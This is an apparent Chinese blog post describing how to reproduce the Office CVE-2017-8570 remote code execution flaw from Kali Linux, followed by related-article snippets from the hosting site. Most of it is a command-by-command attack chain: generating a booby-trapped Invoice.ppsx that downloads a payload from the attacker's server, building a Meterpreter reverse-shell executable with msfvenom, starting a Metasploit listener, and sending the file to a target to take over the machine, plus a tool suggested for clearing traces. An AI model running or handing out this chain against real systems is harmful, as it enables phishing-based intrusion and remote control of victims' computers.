kali下CVE-2017-8570利用复现实验

参考:
https://www.youtube.com/watch?v=jUhmPH_u6gs
https://github.com/tezukanice/Office8570
https://www.symantec.com/security_response/vulnerability.jsp?bid=99445
https://www.rapid7.com/db/vulnerabilities/msft-cve-2017-8570

简介:Microsoft Office容易出现远程代码执行漏洞。 攻击者可以利用此问题在当前登录的用户的上下文中执行任意代码。 漏洞尝试可能会导致拒绝服务条件。

影响范围:
  Microsoft Office 2007 Service Pack 3
  Microsoft Office 2010 Service Pack 2 (32-bit editions)
  Microsoft Office 2010 Service Pack 2 (64-bit editions)
  Microsoft Office 2013 RT Service Pack 1
  Microsoft Office 2013 Service Pack 1 (32-bit editions)
  Microsoft Office 2013 Service Pack 1 (64-bit editions)
  Microsoft Office 2016 (32-bit edition)
  Microsoft Office 2016 (64-bit edition)

cd /tmp
git clone https://github.com/tezukanice/Office8570
cd Office8570
python cve-2017-8570_toolkit.py -M gen -w Invoice.ppsx -u http://监听者的IP/logo.doc
这里会提示找不到文件,只需要创建template目录,然后把提示到的文件mv进去就ok,用到的文件会在报错最后一行提示
再次执行一遍就成功了
生成了Invoice.ppsx文件
msfvenom -p windows/meterpreter/reverse_tcp LHOST=监听者IP LPORT=监听者端口 -f exe > /tmp/shell.exe
python cve-2017-8570_toolkit.py -M exp -e http://监听者IP/shell.exe -l /tmp/shell.exe

msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 监听者IP
set LPORT 监听者端口
exploit

将Invoice.ppsx传给目标,在目标打开这个ppt文件,拿下目标。

在https://github.com/tezukanice/Office8570中,定义了三种不同情景的操作指导。


另:apt-get install bleachbit -y 
这个软件可以清理Linux电脑的一些缓存
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

  • http://192.168.136.131/sqlmap/mysql/get_int.php?id=1 当给sq...
    xuningbo阅读 13,537评论 2 22
  • sqlmap用户手册 说明:本文为转载,对原文中一些明显的拼写错误进行修正,并标注对自己有用的信息。 ======...
    wind_飘阅读 6,387评论 0 5
  • 背景: 阅读新闻 12C CDB模式下RMAN备份与恢复 [日期:2016-11-29] 来源:Linux社区 作...
    阳屯okyepd阅读 9,033评论 0 7
  • Windows 10 企业版 1511版 (64位) Windows 10 Enterprise, Version...
    g0阅读 11,577评论 1 8
  • 早晨上班坐公交,公交车上人很多,在我上车的第三站,上来一位老人,头发花白,别人为他让座,他却没有坐下,站在座位的旁...
    陌默阅读 1,180评论 0 1

友情链接更多精彩内容